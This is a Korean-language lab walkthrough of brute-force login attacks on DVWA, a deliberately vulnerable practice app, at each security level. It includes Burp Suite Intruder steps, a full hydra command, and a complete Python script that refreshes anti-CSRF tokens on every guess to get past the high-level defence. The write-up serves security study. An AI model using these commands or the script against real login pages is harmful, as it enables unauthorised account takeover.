[DVWA 실습] Brute Force Attack
📌 1. Low Level
✔ 공격 대상 : 로그인 페이지
👉 brute force 공격을 해야 하는 로그인 페이지. 무작위로 대입하여 Username이랑 Password를 얻어내면 된다.
✔ 공격 도구 : `Burp Suite` 도구를 이용하여 무차별 공격
1. Burp Suite를 통해서 Proxy 설정을 한다.
2. Proxy 설정 후 `Intercept`를 하게 되면, HTTP Request 되는 패킷을 확인할 수 있다.
👉 GET 방식으로 `username`과 `password` 파라미터 값이 전달 된다.
3. Intruder 이용하기
- Proxy에서 HTTP history에서 원하는 요청의 오른쪽 마우스 클릭 → `Send to Intruder` 클릭
- `Intruder` → `Positions`에서 무차별 공격에 필요한 인자만 선택하면 되고, 값이 변하는 곳에 `$`가 앞뒤로 들어가도록 설정한다.
👉 여기서는 `username`이랑 `password`의 값으로 들어갈 곳을 선택하면 된다.
4. `Payloads`에서 공격하는 방법 2가지
1) 모든 경우의 수를 대입하는 `Brute forcer` 이용하기 (Brute Force 공격)
👉 단점 : 모든 경우의 수를 대입하므로 시간이 많이 든다.
2) 미리 작성된 자주 사용하는 암호가 저장된 `Simple list` 이용하기 (Dictionary 공격)
👉 장점: 모든 경우의 수를 대입하는 것보다 빠르게 값을 찾을 수 있음.
👉 단점: dictonary에 없는 경우 값을 찾을 수 없음.
1) `Brute forcer`
👉 `username`와 `password`에 대한 정보가 전혀 없기 때문에 `simple list`를 이용해 공격을 하였다.
2) `Simple list` 이용하기
`Payload Options [Simpe list]` 항목에 인터넷에 떠도는 dictionary 파일을 넣어서 dictionary list를 구성했다.
* (참고) payload set을 2개로 설정하면, username이랑 password 각각에 대해 dictionary를 이용할 수 있음
✈ 공격 시작 'start attack'
공격 중에 username이 admin이고, password가 password일 때만 Length의 길이가 다른 걸 확인할 수 있다.
👉 로그인 성공했을 때 5524 bytes이고, 실패했을 때 5465 bytes인 걸로 추정이 가능하다.
`admin`/`password`로 로그인을 시도하면,
성공! 😀
✔ 공격 도구 : `hydra` 도구를 이용하여 무차별 공격
hydra는 네트워크 서비스나 웹 애플리케이션에서 무차별 대입 공격을 수행하기 위해서 설계된 오픈 소스 도구.
[사용법]
hydra [옵션] 서비스://타켓
[주요 옵션]
- l 아이디
- L 아이디 리스트 파일
- p 비밀번호
- P 비밀번호 사전파일
F=: 로그인 실패 메시지
S=: 로그인 성공 메시지
H=: 헤더
-v : 자세히
-V : login+pass 보여줌
-f : 비밀번호를 발견하면 종료
-t : 동시에 실행하는 작업수 (기본값 16)
hydra -L ~/study/id.txt -P ~/study/passwords_quick.txt localhost http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=mtnakaa2ob8drdr68rc8edbum3" -V -f
-L ~/study/id.txt : 사용자 이름 목록 파일 경로
-P ~/study/passwords_quick.txt : 비밀번호 목록 파일 경로
localhost : 공격 대상의 주소
http-get-form : HTTP GET 요청
username=^USER^&password=^PASS^&Login=Login : 로그인 폼에 전송될 데이터 (^USER^는 사용자 이름 목록에서 하나씩 대체되고, ^PASS^는 비밀번호 목록에서 하니씩 대체)
📌 2. Medium Level
low level과 앞의 과정을 동일하게 하면 같은 결과를 얻을 수 있다.
✔ low level과의 차이점은 계정 정보를 얻는데 시간이 더 오래 걸린다는 것이다.
👉 `sleep(2);` 함수가 실행되어 login failed시 2초의 대기시간이 발생한다.
📌 3. High Level
👉 low level이랑 medium level처럼 공격을 시도하면, 기존과 다르게 Status code 302가 뜬다. 302 HTTP 응답 상태 코드는, 클라이언트가 요청한 리소스가 임시적으로 다른 URL로 이동되었음을 나타낸다. 이는 임시 리다이렉션을 의미하며, 클라이언트는 새 URL로 요청을 보내야 한다.
302 상태 코드의 주요 특징
- 임시 이동: 서버가 클라이언트를 새 URL로 이동시키지만, 원래 URL은 여전히 유효합니다.
- 클라이언트 동작: 클라이언트(웹 브라우저)는 보통 Location 헤더에 지정된 새 URL로 자동 요청을 보냅니다.
- HTTP 메서드 유지: 클라이언트는 원래 요청의 HTTP 메서드(GET, POST 등)를 유지합니다. 하지만 일부 브라우저는 POST 요청을 GET 요청으로 변경할 수 있습니다(비표준 동작).
로그인 페이지에서 로그인을 시도하면 `CSRF token is incorrect`라는 메시지가 뜬다. CSRF token이 설정되어 있어 매번 로그인 시 token 값이 달라지지만, `Brup Suite`로 공격을 시도하면 token값이 로그인 할때마다 같기 때문에 오류(302)가 발생한 것이다.
CSRF token
CSRF(Cross-Site Request Forgery) 공격을 방지하기 위해 웹 애플리케이션에서 사용하는 보안 메커니즘.
CSRF 토큰은 사용자가 의도하지 않은 악의적인 요청을 방지하기 위해서 클라이언트와 서버 간의 요청에서 유효성을 검증하는 데 사용된다.
토큰 생성 : 클라이언트가 서버에 처음 요청했을 때, 서버가 고유한 CSRF 토큰을 생성해서 클라이언트에 거 전송
토큰 전송 : 클라이언트가 이후의 요청에 CSRF 토큰을 포함해서 전송
토큰 검증 : 서버는 요청에서 받은 토큰과 세션에 저장된 토큰을 비교. 일치하지 않거나 없는 경우 요청을 차단
`Burp Suite`로 Request를 확인해보면, 토큰값이 계속 바뀌기 때문에, 기존에 low level, medium level에서 시도했던 brute force 공격이 제대로 작동하지 않는다는 것을 알수 있다.
👉 그렇기 때문에, high level에서 해야 할 것은 매번 로그인마다 유효한 토근을 제공해 주어야 한다. `burp suite`에서는 해당 기능을 수행할 수 없기 때문에, 매번 바뀌는 토큰 값을 넣어주는 자동화된 스크립트를 작성해야한다. (역시... High level)
작성된 Python 코드 :
#!/usr/bin/python
# Quick PoC template for HTTP GET form brute force with CSRF token
# Target: DVWA v1.10 (Brute Force - High)
# Date: 2015-11-07
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/
import requests
import sys
import re
from BeautifulSoup import BeautifulSoup
# Variables
target = 'http://localhost/dvwa'
sec_level = 'high'
dvwa_user = 'admin'
dvwa_pass = 'password'
user_list = 'id.txt'
pass_list = 'passwords_quick.txt'
# Value to look for in response header (Whitelisting)
success = 'Welcome to the password protected area'
# Get the anti-CSRF token
def csrf_token(path,cookie=''):
try:
# Make the request to the URL
#print "\n[i] URL: %s/%s" % (target, path)
r = requests.get("{0}/{1}".format(target, path), cookies=cookie, allow_redirects=False)
except:
# Feedback for the user (there was an error) & Stop execution of our request
print "\n[!] csrf_token: Failed to connect (URL: %s/%s).\n[i] Quitting." % (target, path)
sys.exit(-1)
# Extract anti-CSRF token
soup = BeautifulSoup(r.text)
user_token = soup("input", {"name": "user_token"})[0]["value"]
#print "[i] user_token: %s" % user_token
# Extract session information
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)
#print "[i] session_id: %s" % session_id
return session_id, user_token
# Login to DVWA core
def dvwa_login(session_id, user_token):
# POST data
data = {
"username": dvwa_user,
"password": dvwa_pass,
"user_token": user_token,
"Login": "Login"
}
# Cookie data
cookie = {
"PHPSESSID": session_id,
"security": sec_level
}
try:
# Make the request to the URL
print "\n[i] URL: %s/login.php" % target
print "[i] Data: %s" % data
print "[i] Cookie: %s" % cookie
r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)
except:
# Feedback for the user (there was an error) & Stop execution of our request
print "\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
sys.exit(-1)
# Wasn't it a redirect?
if r.status_code != 301 and r.status_code != 302:
# Feedback for the user (there was an error again) & Stop execution of our request
print "\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
sys.exit(-1)
# Did we log in successfully?
if r.headers["Location"] != 'index.php':
# Feedback for the user (there was an error) & Stop execution of our request
print "\n\n[!] dvwa_login: Didn't login (Header: %s user: %s password: %s user_token: %s session_id: %s).\n[i] Quitting." % (
r.headers["Location"], dvwa_user, dvwa_pass, user_token, session_id)
sys.exit(-1)
# If we got to here, everything should be okay!
print "\n[i] Logged in! (%s/%s)\n" % (dvwa_user, dvwa_pass)
return True
# Make the request to-do the brute force
def url_request(username, password, user_token, session_id):
# GET data
data = {
"username": username,
"password": password,
"user_token": user_token,
"Login": "Login"
}
# Cookie data
cookie = {
"PHPSESSID": session_id,
"security": sec_level
}
try:
# Make the request to the URL
#print "\n[i] URL: %s/vulnerabilities/brute/" % target
#print "[i] Data: %s" % data
#print "[i] Cookie: %s" % cookie
r = requests.get("{0}/vulnerabilities/brute/".format(target), params=data, cookies=cookie, allow_redirects=False)
except:
# Feedback for the user (there was an error) & Stop execution of our request
print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)
sys.exit(-1)
# Was it a ok response?
if r.status_code != 200:
# Feedback for the user (there was an error again) & Stop execution of our request
print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
sys.exit(-1)
# We have what we need
return r.text
# Main brute force loop
def brute_force(session_id):
# Load in wordlists files
with open(pass_list) as password:
password = password.readlines()
with open(user_list) as username:
username = username.readlines()
# Counter
i = 0
# Loop around
for PASS in password:
for USER in username:
USER = USER.rstrip('\n')
PASS = PASS.rstrip('\n')
# Increase counter
i += 1
# Feedback for the user
print ("[i] Try %s: %s // %s" % (i, USER, PASS))
# Get CSRF token
session_id, user_token = csrf_token('/vulnerabilities/brute/', {"PHPSESSID": session_id})
# Make request
attempt = url_request(USER, PASS, user_token, session_id)
#print attempt
# Check response
if success in attempt:
print ("\n\n[i] Found!")
print "[i] Username: %s" % (USER)
print "[i] Password: %s" % (PASS)
return True
return False
# Get initial CSRF token
session_id, user_token = csrf_token('login.php')
# Login to web app
dvwa_login(session_id, user_token)
# Start brute forcing
brute_force(session_id)
✔ 코드 출처 : https://blog.g0tmi1k.com/dvwa/bruteforce-high/
위의 코드를 실행하면, `Username`과 `Password` 획득이 가능하다.
📌 4. Impossible Level
로그인에 한번 실패하며, 15분 뒤에 로그인 시도가 가능하다.
사실상 brute force 공격 시간이 너무 많이 들기 때문에 성공하는 것은 불가능에 가깝다고 볼 수 있다.